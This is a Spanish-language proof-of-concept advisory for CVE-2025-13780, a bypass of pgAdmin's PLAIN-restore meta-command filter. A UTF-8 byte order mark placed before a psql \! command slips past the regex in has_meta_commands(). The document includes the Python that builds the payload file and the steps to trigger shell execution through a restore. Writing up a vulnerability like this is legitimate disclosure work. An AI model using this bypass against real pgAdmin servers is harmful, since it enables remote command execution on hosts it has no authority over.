
Prueba de concepto para CVE-2025-13780
El filtro de meta-comandos de restauración PLAIN introducido en pgAdmin como parte de la corrección del Issue 9320 no detecta meta-comandos cuando un archivo SQL comienza con una Marca de Orden de Bytes UTF-8 (EF BB BF) u otras secuencias especiales. El filtro implementado utiliza la función has_meta_commands(), que escanea los bytes brutos mediante una expresión regular. La expresión regular no trata los bytes como ignorables, por lo que meta-comandos como ! permanecen sin detectar. Cuando pgAdmin invoca psql con --file, psql elimina los bytes y ejecuta el comando. Esto puede resultar en la ejecución remota de comandos durante una operación de restauración.
Esta omisión afecta al parche introducido en el commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
Afectación confirmada:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)Posiblemente afectados:
has_meta_commands() parcheada del commit 1d397395f75320ca1d4ed5e9ca721c603415e836(\restrict), por lo que los meta-comandos ahora son bloqueados por el propio psqlweb/pgadmin/tools/restore/__init__.py has_meta_commands()Código relevante (de la versión parcheada):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
Paso 1: Crea un archivo SQL que comience con una BOM y un meta-comando.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
Paso 2: Verifica la BOM:
xxd bypass_bom.sql | head -1
Esperado:
ef bb bf 5c 21 ...
Paso 3: Coloca el archivo en el almacenamiento de pgAdmin:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
Paso 4: En pgAdmin: Restaurar -> Formato: PLAIN -> selecciona bypass_bom.sql -> Ejecutar
Paso 5: Verifica la ejecución:
ls /tmp/bom_ran
El archivo de control sin BOM se bloquea correctamente.
Payload con prefijo BOM:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
Payload de control:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;